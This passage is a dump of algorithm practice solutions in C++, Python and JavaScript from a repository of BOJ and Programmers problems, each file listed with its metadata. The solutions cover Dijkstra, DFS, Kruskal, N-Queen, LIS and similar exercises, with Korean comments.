int now = pq.top().second;\\n pq.pop();\\n\\n for(int i = 0 ; i < graph[now].size() ; i++){ \\n int next = graph[now][i].first;\\n int nCost = graph[now][i].second;\\n if(cost + nCost < d[next]){\\n d[next] = cost + nCost;\\n pq.push(make_pair(d[next], next));\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int v, e, start;\\n\\n cin >> v >> e >> start;\\n\\n for(int i = 0 ; i < e ; i++){\\n int x, y, z;\\n cin >> x >> y >> z;\\n graph[x].push_back(make_pair(y, z)); \\n }\\n\\n for(int i = 1 ; i <= v ; i++){\\n d[i] = INF;\\n }\\n\\n dijkstra(start);\\n\\n for(int i = 1 ; i <= v ; i++){\\n if(d[i] == INF)\\n cout << \\\"INF\\\" << \\\"\\\\n\\\";\\n else \\n cout << d[i] << \\\"\\\\n\\\";\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4838709533214569,\n \"alphanum_fraction\": 0.5107526779174805,\n \"avg_line_length\": 15.441176414489746,\n \"blob_id\": \"573ef80e2f0324ccbcce6f728a4b3eb6c6b3f7ab\",\n \"content_id\": \"fda8255867e5e0a234af9e38818f8ebd66923efc\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 566,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 34,\n \"path\": \"/programmers/Level 3/network.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 3: 네트워크\\n2022-02-24\\nDFS\\n*/\\n#include <string>\\n#include <vector>\\n#define MAX 200\\nusing namespace std;\\n\\nvector<vector<int>> cp;\\nbool visited[MAX];\\n\\nvoid dfs(int num, int n){\\n visited[num] = true;\\n \\n for(int i = 0 ; i < n ; i++) {\\n if(cp[num][i] && !visited[i]) dfs(i, n);\\n }\\n}\\n\\nint solution(int n, vector<vector<int>> computers) {\\n int answer = 0;\\n cp = computers;\\n \\n for(int i = 0 ; i < n ; i++){\\n if(!visited[i]) {\\n answer++;\\n dfs(i, n);\\n }\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3135313391685486,\n \"alphanum_fraction\": 0.34873488545417786,\n \"avg_line_length\": 18.36170196533203,\n \"blob_id\": \"104dd654a66dd40f3e5144b28189b9b80c5d2ec3\",\n \"content_id\": \"8f0f306ec8687f0d6a838750978667193cdc2411\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 915,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 47,\n \"path\": \"/BOJ/Bitmask/11723.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 11723번: 집합\\nDATE: 2022-01-25\\nBitmask\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int m, num;\\n string cmd;\\n\\n int s = 0;\\n\\n cin >> m;\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> cmd;\\n\\n if(cmd == \\\"add\\\") {\\n cin >> num;\\n s |= (1 << num);\\n }\\n else if(cmd == \\\"remove\\\") {\\n cin >> num;\\n s &= ~(1 << num);\\n }\\n else if(cmd == \\\"check\\\") {\\n cin >> num;\\n if(s & (1 << num)) cout << 1 << '\\\\n';\\n else cout << 0 << '\\\\n';\\n }\\n else if(cmd == \\\"toggle\\\") {\\n cin >> num;\\n if(s & (1 << num)) s &= ~(1 << num);\\n else s |= (1 << num);\\n }\\n else if(cmd == \\\"all\\\") {\\n s = (1 << 21) - 1;\\n }\\n else if(cmd == \\\"empty\\\") s = 0;\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.42465752363204956,\n \"alphanum_fraction\": 0.47534245252609253,\n \"avg_line_length\": 20.5,\n \"blob_id\": \"44601b66291296d440dcb7503adc837567062b77\",\n \"content_id\": \"afb50138094e048c5c652ec1333f5124a3f4f257\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 744,\n \"license_type\": \"no_license\",\n \"max_line_length\": 93,\n \"num_lines\": 34,\n \"path\": \"/programmers/Level 1/recommend_new_id.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 1: 신규 아이디 추천\\n2021 KAKAO BLIND RECRUITMENT\\n2021-12-26\\n*/\\nfunction solution(new_id) {\\n // 1\\n new_id = new_id.toLowerCase();\\n\\n // 2\\n new_id = new_id.replace(/[^\\\\w-.]/g, '');\\n\\n // 3\\n new_id = new_id.replace(/[.]+/g, '.');\\n\\n // 4\\n new_id = new_id[0] === \\\".\\\" ? new_id.slice(1) : new_id;\\n new_id = new_id[new_id.length - 1] === \\\".\\\" ? new_id.slice(0, new_id.length - 1) : new_id;\\n\\n // 5\\n new_id = new_id.length === 0 ? \\\"a\\\" : new_id;\\n\\n // 6\\n new_id = new_id.slice(0, 15);\\n new_id = new_id[14] === '.' ? new_id.slice(0, 14) : new_id;\\n\\n // 7\\n if (new_id.length < 3) {\\n let tmp = new_id[new_id.length - 1];\\n while (new_id.length < 3) new_id += tmp;\\n }\\n\\n return new_id;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5056179761886597,\n \"alphanum_fraction\": 0.5692883729934692,\n \"avg_line_length\": 15.75,\n \"blob_id\": \"3856a2a3bd166ceeccc9e7fe225df2cfa565e5cf\",\n \"content_id\": \"d7971ebdacf4811f9f40a6cb2d7d7e60b36cb5e2\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 293,\n \"license_type\": \"no_license\",\n \"max_line_length\": 35,\n \"num_lines\": 16,\n \"path\": \"/BOJ/Mathematics/1735_2.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 1735_2.py (math 라이브러리의 gcd 함수 사용)\\n# BOJ 1735: 분수 합\\n# DATE: 2022-03-16\\nimport sys\\nimport math\\nread = sys.stdin.readline\\n \\na, b = map(int, read().split())\\nc, d = map(int, read().split())\\n\\nn = a * d + b * c\\nm = b * d\\n\\ndiv = math.gcd(n, m)\\n\\nprint(n // div, m // div)\"\n },\n {\n \"alpha_fraction\": 0.4885145425796509,\n \"alphanum_fraction\": 0.5107197761535645,\n \"avg_line_length\": 19.746030807495117,\n \"blob_id\": \"a1690b03c84b821471aec46aecb81051c80e9ee7\",\n \"content_id\": \"1cdccf0874cc4315bb33b5069a4353aa0962ed13\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1320,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 63,\n \"path\": \"/BOJ/MST/1922_1.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 1922번: 네트워크 연결\\n//Kruskal Algorithm\\n//2021-07-12\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint n, m, a, b, c, ans=0;\\npair<int, pair<int, int>> edge[100000];\\n\\nint getParent(int parent[], int x){\\n if(parent[x] == x) return x;\\n return parent[x] = getParent(parent, parent[x]);\\n}\\n\\nvoid unionParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a < b) parent[b] = a;\\n else parent[a] = b;\\n}\\n\\nint findParent(int parent[], int a, int b){\\n a = getParent(parent, a);\\n b = getParent(parent, b);\\n if(a == b) return 1;\\n else return 0;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n int parent[n+1];\\n\\n for(int i = 1 ; i <= n ; i++){\\n parent[i] = i;\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> a >> b >> c;\\n edge[i].first = c;\\n edge[i].second.first = a;\\n edge[i].second.second = b;\\n }\\n\\n sort(edge, edge + m);\\n\\n for(int i = 0 ; i < m ; i++){\\n int a = edge[i].second.first;\\n int b = edge[i].second.second;\\n int c = edge[i].first;\\n\\n if(findParent(parent, a, b)) continue;\\n else{\\n unionParent(parent, a, b);\\n ans += c;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4373657703399658,\n \"alphanum_fraction\": 0.46814602613449097,\n \"avg_line_length\": 15.84337329864502,\n \"blob_id\": \"0ce115c5b4f901b72bba30e6aee26bfda31dd853\",\n \"content_id\": \"824b7b6a491c7187a30ea8aa781d0efc53480972\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1493,\n \"license_type\": \"no_license\",\n \"max_line_length\": 81,\n \"num_lines\": 83,\n \"path\": \"/BOJ/Greedy/2513.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 2513번: 통학버스\\nDATE: 2021-01-14\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n\\tint n, k, s, cnt;\\n\\tlong long d1, d2;\\n\\tcin >> n >> k >> s;\\n\\t\\n\\tvector<pair <int, int>> v;\\n\\n\\tfor(int i = 0 ; i < n ; i++) {\\n\\t\\tint loc, dst;\\n\\t\\tcin >> loc >> dst;\\n\\t\\tv.push_back(make_pair(loc, dst));\\n\\t}\\n\\tv.push_back(make_pair(s, 0));\\n\\tsort(v.begin(), v.end()); \\n\\n\\tint str = 0, end = n;\\n\\tint idx = lower_bound(v.begin(), v.end(), make_pair(s, 0)) - v.begin(); //학교 인덱스\\n\\n\\tfor (int i = 0; i <= n; i++) {\\n\\t\\tcout << v[i].first << \\\" \\\" << v[i].second << endl;\\n\\t}\\n\\n\\tint i = str;\\n\\td1 = 0, cnt = 0;\\n\\twhile (i < idx) { //학교 앞\\n\\t\\tcnt += v[i].second;\\n\\n\\t\\tif (cnt <= k) { //한번에 태울 수 있을 때\\n\\t\\t\\tv[i].second = 0;\\n\\t\\t\\ti++;\\n\\t\\t\\tif (i == idx) {\\n\\t\\t\\t\\td1 += (s - v[str].first) * 2;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse if (cnt > k) { //나눠 태워야 할 때\\n\\t\\t\\tv[i].second = cnt - k;\\n\\t\\t\\tcnt = cnt - v[i].second; \\n\\n\\t\\t\\td1 += (s - v[str].first) * 2;\\n\\n\\t\\t\\tcnt = 0;\\n\\t\\t\\tstr = i;\\n\\t\\t}\\n\\t}\\n\\n\\tint j = end;\\n\\td2 = 0, cnt = 0;\\n\\twhile (j > idx) { // 학교 뒤\\n\\t\\tcnt += v[j].second;\\n\\n\\t\\tif (cnt <= k) { //한번에 태울 수 있을 때\\n\\t\\t\\tv[j].second = 0;\\n\\t\\t\\tj--;\\n\\t\\t\\tif (j == idx) {\\n\\t\\t\\t\\td2 += (v[end].first - s) * 2;\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\telse if (cnt > k) { //나눠 태워야 할 때\\n\\t\\t\\tv[j].second = cnt - k;\\n\\t\\t\\tcnt = cnt - v[j].second;\\n\\n\\t\\t\\td2 += (v[end].first - s) * 2;\\n\\n\\t\\t\\tcnt = 0;\\n\\t\\t\\tend = j;\\n\\t\\t}\\n\\t}\\n\\n\\tcout << d1 + d2;\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4539969861507416,\n \"alphanum_fraction\": 0.4871794879436493,\n \"avg_line_length\": 14.090909004211426,\n \"blob_id\": \"17aa0fdee30b1ce14ade7892d70104af482ced00\",\n \"content_id\": \"d07d99788b65063c5a9c7c5b9197f2530972b41d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 677,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 44,\n \"path\": \"/BOJ/Backtracking/9663.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9663번: N-Queen\\nDATE: 2022-04-15\\n*/\\n#include <iostream>\\n#define MAX 15\\nusing namespace std;\\n\\nint N, ans;\\nint col[MAX];\\n\\nbool check(int num){\\n for(int i = 0 ; i < num ; i++){\\n if(col[i] == col[num]) return false; // 같은 행\\n else if(abs(col[num] - col[i]) == num - i) return false; // 대각선\\n }\\n\\n return true;\\n}\\n\\nvoid nqueen(int num){\\n if(num == N){\\n ans++;\\n return;\\n }\\n\\n for(int i = 0 ; i < N ; i++){\\n col[num] = i;\\n if(check(num)) nqueen(num + 1);\\n }\\n \\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n \\n cin >> N;\\n\\n nqueen(0);\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4431487023830414,\n \"alphanum_fraction\": 0.5072886347770691,\n \"avg_line_length\": 18.628570556640625,\n \"blob_id\": \"9c3f91a1d34105f6582cf08162d7a342a9ca7387\",\n \"content_id\": \"5a074a30736964ecb8de8e3edf1407b56691c035\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 700,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 35,\n \"path\": \"/BOJ/Binary Search/18353.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 18353번: 병사 배치하기\\nDATE: 2022-01-08\\nUPDATE: 2022-02-11\\nLongest Increasing Subsequence\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, num;\\n cin >> n;\\n \\n vector<int> v1(n), v2;\\n\\n for(int i = 0 ; i < n ; i++) cin >> v1[i];\\n reverse(v1.begin(), v1.end());\\n\\n for(int i = 0 ; i < n ; i++) {\\n if(v2.empty() || v1[i] > v2.back()) {\\n v2.push_back(v1[i]);\\n continue;\\n }\\n\\n int idx = lower_bound(v2.begin(), v2.end(), v1[i]) - v2.begin();\\n v2[idx] = v1[i];\\n }\\n\\n cout << n - v2.size();\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4897959232330322,\n \"alphanum_fraction\": 0.559183657169342,\n \"avg_line_length\": 16.571428298950195,\n \"blob_id\": \"31bf6fdb8ded23417ee757b01449f41f77ef841b\",\n \"content_id\": \"3cfeef14cb38f9f30d41ac12f760ee1d5d06d1d6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 257,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 14,\n \"path\": \"/BOJ/Mathematics/1934.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 1934.py\\n# BOJ 1934번: 최소공배수\\n# DATE: 2022-03-18\\nimport sys\\nread = sys.stdin.readline\\n\\ndef gcd(a, b):\\n return a if b == 0 else gcd(b, a % b)\\n\\nt = int(read())\\n\\nfor _ in range(t):\\n a, b = map(int, read().split())\\n print(a * b // gcd(a, b))\"\n },\n {\n \"alpha_fraction\": 0.5146579742431641,\n \"alphanum_fraction\": 0.5423452854156494,\n \"avg_line_length\": 17.636363983154297,\n \"blob_id\": \"fd5b7500aa523d0345a682e2f564b04e86cb6ba6\",\n \"content_id\": \"888f8afc3e5c2e9ad22cbfafca61fab5e61351c7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 614,\n \"license_type\": \"no_license\",\n \"max_line_length\": 91,\n \"num_lines\": 33,\n \"path\": \"/programmers/Level 2/h-index.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: H-index\\n2021-12-26\\n*/\\n#include <vector>\\n#include <algorithm>\\n#include <iostream>\\nusing namespace std;\\n\\nint solution(vector<int> citations) {\\n int answer = 0;\\n int num = citations.size();\\n \\n sort(citations.begin(), citations.end()); \\n \\n for(int i = num ; i >= 0 ; i--) {\\n int index = lower_bound(citations.begin(), citations.end(), i) - citations.begin();\\n\\n if(i <= num - index) {\\n answer = i;\\n break;\\n }\\n }\\n \\n return answer;\\n}\\n\\nint main(){\\n int answer = solution({3, 0, 6, 1, 5});\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4646017551422119,\n \"alphanum_fraction\": 0.51106196641922,\n \"avg_line_length\": 13.612903594970703,\n \"blob_id\": \"c58b02c6d4a346cbc59bce19e6962c3f50d5c729\",\n \"content_id\": \"fb75844517bd545518e13593ca04654f607abfd3\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 460,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 31,\n \"path\": \"/BOJ/Implementation/1927.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"WINDOWS-1252\",\n \"text\": \"/*\\nBOJ 1927¹ø: ÃÖ¼Ò Èü\\nDATE: 2021-01-07\\n*/\\n#include <iostream>\\n#include <queue>\\nusing namespace std;\\n\\nint main() {\\n\\tios_base::sync_with_stdio(0); cin.tie(0);\\n\\tint n, x;\\n\\tpriority_queue<int, vector <int>, greater <int>>pq;\\n\\n\\tcin >> n;\\n\\n\\tfor (int i = 0; i < n; i++) {\\n\\t\\tcin >> x;\\n\\n\\t\\tif (x != 0) pq.push(x);\\n\\t\\telse if (x == 0) {\\n\\t\\t\\tif (pq.empty()) {\\n\\t\\t\\t\\tcout << 0 << \\\"\\\\n\\\";\\n\\t\\t\\t\\tcontinue;\\n\\t\\t\\t}\\n\\t\\t\\tcout << pq.top() << \\\"\\\\n\\\";\\n\\t\\t\\tpq.pop();\\n\\t\\t}\\n\\t}\\n\\t\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4374590814113617,\n \"alphanum_fraction\": 0.459070086479187,\n \"avg_line_length\": 19.931507110595703,\n \"blob_id\": \"60ca4ef7ca375b46e1d8edf9f62f234e852008f4\",\n \"content_id\": \"a15aa2305134b9ca31fd0457c0a1d9aeed2585ff\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1541,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 73,\n \"path\": \"/BOJ/Dijkstra/1238_2.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1238번: 파티\\nDATE: 2021-07-13\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <queue>\\n#include <algorithm>\\n#define MAX 1001\\n#define INF 1e9\\nusing namespace std;\\n\\nvector<pair<int, int>> graph[MAX];\\nint dst[MAX], ans[MAX];\\nint n, m, x, s, e, t;\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int,int>>> pq; //거리, 노드\\n pq.push(make_pair(0, start));\\n dst[start] = 0;\\n\\n while(!pq.empty()){\\n int cost = pq.top().first;\\n int now = pq.top().second;\\n pq.pop();\\n\\n for(int i = 0 ; i < graph[now].size() ; i++){\\n int next = graph[now][i].first;\\n int nCost = graph[now][i].second;\\n \\n if(cost+nCost < dst[next]){\\n dst[next] = cost + nCost;\\n pq.push(make_pair(cost + nCost, next));\\n }\\n }\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m >> x;\\n\\n for(int i = 1 ; i <= n ; i++){\\n dst[i] = INF;\\n }\\n\\n for(int i = 0 ; i < m ; i++){\\n cin >> s >> e >> t;\\n graph[s].push_back(make_pair(e, t));\\n }\\n\\n //i to x\\n for(int i = 1 ; i <= n ; i++){\\n for(int j = 1 ; j <= n ; j++){\\n dst[j] = INF;\\n }\\n dijkstra(i);\\n ans[i] = dst[x];\\n }\\n\\n for(int i = 1 ; i <= n ; i++) dst[i] = INF;\\n\\n // start x\\n dijkstra(x);\\n\\n for(int i = 1 ; i <= n ; i++){\\n ans[i] += dst[i];\\n }\\n\\n cout << *max_element(ans+1, ans+n+1);\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5322195887565613,\n \"alphanum_fraction\": 0.5680190920829773,\n \"avg_line_length\": 19,\n \"blob_id\": \"b1eb07289480d985cbe1546b22961bcf16056d93\",\n \"content_id\": \"2250bd360cbcf292a58867f262a1c2bbfc0b99ce\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 429,\n \"license_type\": \"no_license\",\n \"max_line_length\": 42,\n \"num_lines\": 21,\n \"path\": \"/programmers/Level 1/make_prime_number.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# programmers Level 1: 소수 만들기\\n# date: 2022-04-14\\nfrom itertools import combinations\\nfrom math import sqrt\\n\\ndef isPrime(num):\\n for i in range(2, int(sqrt(num) + 1)):\\n if num % i == 0: return False\\n \\n return True\\n \\ndef solution(nums):\\n answer = 0\\n \\n nums = sorted(nums)\\n \\n for i in combinations(nums, 3):\\n if isPrime(sum(i)):\\n answer += 1\\n \\n return answer\"\n },\n {\n \"alpha_fraction\": 0.4716981053352356,\n \"alphanum_fraction\": 0.48899370431900024,\n \"avg_line_length\": 20.94827651977539,\n \"blob_id\": \"8a8c3b22c7a06b75ccc3afb40b5407575130b71d\",\n \"content_id\": \"d5e11218410dc40fc97715f507c5777d82a5a782\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1276,\n \"license_type\": \"no_license\",\n \"max_line_length\": 84,\n \"num_lines\": 58,\n \"path\": \"/programmers/Level 2/delivery.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: 배달\\ndate: 2022-06-03\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 51\\n#define INF 1e9\\nusing namespace std;\\n\\nint dst[MAX];\\nvector<pair<int,int>> graph[MAX];\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int,int>, vector<pair<int,int>>, greater<pair<int,int>>> pq;\\n \\n pq.push({0, start});\\n dst[start] = 0;\\n \\n while(!pq.empty()){\\n int node = pq.top().second;\\n int cost = pq.top().first;\\n pq.pop();\\n \\n for(int i = 0 ; i < graph[node].size() ; i++){\\n int nextNode = graph[node][i].first;\\n int nextCost = graph[node][i].second;\\n \\n if(dst[nextNode] > cost + nextCost){\\n dst[nextNode] = cost + nextCost;\\n pq.push({dst[nextNode], nextNode});\\n }\\n }\\n }\\n}\\n\\nint solution(int N, vector<vector<int>> road, int K) {\\n int answer = 0;\\n \\n for(auto i : road){\\n int a = i[0];\\n int b = i[1];\\n int c = i[2];\\n \\n graph[a].push_back({b, c});\\n graph[b].push_back({a, c});\\n }\\n \\n fill(dst, dst+MAX, INF);\\n dijkstra(1);\\n \\n for(int i = 1 ; i <= N ; i++){\\n if(dst[i] != INF && dst[i] <= K) answer++;\\n }\\n \\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4583333432674408,\n \"alphanum_fraction\": 0.47537878155708313,\n \"avg_line_length\": 20.571428298950195,\n \"blob_id\": \"f72b39b2b603060dea1e0e7a41658e49e4a12d7c\",\n \"content_id\": \"205913b7d63651dae8d61d879edd58ba49f091af\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1072,\n \"license_type\": \"no_license\",\n \"max_line_length\": 66,\n \"num_lines\": 49,\n \"path\": \"/programmers/Level 2/printer.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//programmers Level 2: 프린터\\n//2021-10-06\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#include <queue>\\nusing namespace std;\\n\\nint solution(vector<int> priorities, int location) {\\n priority_queue<int, vector<int>> pq;\\n queue<pair<int, int>> q; \\n vector<int> v;\\n int answer = 0;\\n\\n for(int i = 0 ; i < priorities.size() ; i++) {\\n q.push(make_pair(priorities[i], i)); //중요도, 문서\\n pq.push(priorities[i]);\\n }\\n \\n int max = pq.top();\\n \\n while(!q.empty()) {\\n pair<int,int> cur = q.front();\\n \\n if(cur.first < max) {\\n while(cur.first != max) {\\n q.push(q.front());\\n q.pop();\\n cur = q.front();\\n }\\n }\\n else {\\n v.push_back(cur.second);\\n q.pop(); pq.pop();\\n max = pq.top();\\n }\\n }\\n \\n answer = (find(v.begin(), v.end(), location) - v.begin()) + 1;\\n \\n return answer;\\n}\\n\\nint main() {\\n int answer = solution({2, 1, 3, 2}, 2);\\n cout << answer;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.31910276412963867,\n \"alphanum_fraction\": 0.3444283604621887,\n \"avg_line_length\": 18.471830368041992,\n \"blob_id\": \"551f68828ecb991dfd148ccd749af4f24655fbf8\",\n \"content_id\": \"9c59a31f8f472bc5a4b684830ac81cc277c881d5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2822,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 142,\n \"path\": \"/BOJ/Implementation/17144.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 17144번: 미세먼지 안녕!\\nDATE: 2022-03-15\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <cstring>\\n#define MAX 51\\nusing namespace std;\\n\\nint arr[MAX][MAX], tmp[MAX][MAX];\\nint up, down;\\nint dr[4] = {-1, 0, 1, 0};\\nint dc[4] = {0, 1, 0, -1};\\nint r, c, t;\\nvector<pair<int,int>> dust;\\n\\nvoid spread(){\\n for(int i = 0 ; i < dust.size() ; i++){\\n int row = dust[i].first;\\n int col = dust[i].second;\\n int value = arr[row][col];\\n int cnt = 0;\\n\\n for(int j = 0 ; j < 4 ; j++){\\n int nr = row + dr[j];\\n int nc = col + dc[j];\\n\\n if(nr < 1 || nc < 1 || nr > r || nc > c) continue;\\n if(arr[nr][nc] == -1) continue;\\n\\n tmp[nr][nc] += value / 5;\\n cnt++;\\n }\\n \\n tmp[row][col] += value - (value / 5) * cnt;\\n }\\n}\\n\\nvoid upside(){ // 반시계 방향\\n int a, b = 0;\\n\\n for(int i = 2 ; i <= c ; i++){\\n a = tmp[up][i];\\n tmp[up][i] = b;\\n b = a;\\n }\\n\\n for(int i = up - 1 ; i >= 1 ; i--){\\n a = tmp[i][c];\\n tmp[i][c] = b;\\n b = a;\\n }\\n\\n for(int i = c - 1 ; i >= 1 ; i--){\\n a = tmp[1][i];\\n tmp[1][i] = b;\\n b = a;\\n }\\n\\n for(int i = 2 ; i <= up ; i++){\\n a = tmp[i][1];\\n tmp[i][1] = b;\\n b = a;\\n }\\n}\\n\\nvoid downside(){ // 시계 방향\\n int a, b = 0;\\n\\n for(int i = 2 ; i <= c ; i++){\\n a = tmp[down][i];\\n tmp[down][i] = b;\\n b = a;\\n }\\n\\n for(int i = down + 1 ; i <= r ; i++){\\n a = tmp[i][c];\\n tmp[i][c] = b;\\n b = a;\\n }\\n\\n for(int i = c - 1 ; i >= 1 ; i--){\\n a = tmp[r][i];\\n tmp[r][i] = b;\\n b = a;\\n }\\n\\n for(int i = r - 1 ; i >= down ; i--){\\n a = tmp[i][1];\\n tmp[i][1] = b;\\n b = a;\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int ans = 0;\\n cin >> r >> c >> t;\\n\\n for(int i = 1 ; i <= r ; i++){\\n for(int j = 1 ; j <= c ; j++){\\n cin >> arr[i][j];\\n if(arr[i][j] == -1){\\n if(up == 0) up = i;\\n else down = i;\\n }\\n else if(arr[i][j] > 0) dust.push_back({i,j});\\n }\\n }\\n\\n while(t--){\\n memset(tmp, 0, sizeof(tmp));\\n\\n // 미세먼지 확산\\n spread();\\n\\n // 공기청정기 작동\\n upside();\\n downside();\\n\\n dust.clear();\\n\\n for(int i = 1 ; i <= r ; i++){\\n for(int j = 1 ; j <= c ; j++){\\n if(arr[i][j] == -1) continue;\\n arr[i][j] = tmp[i][j];\\n dust.push_back({i, j});\\n }\\n }\\n }\\n\\n for(int i = 1 ; i <= r ; i++){\\n for(int j = 1 ; j <= c ; j++){\\n if(arr[i][j] > 0) ans += arr[i][j];\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n 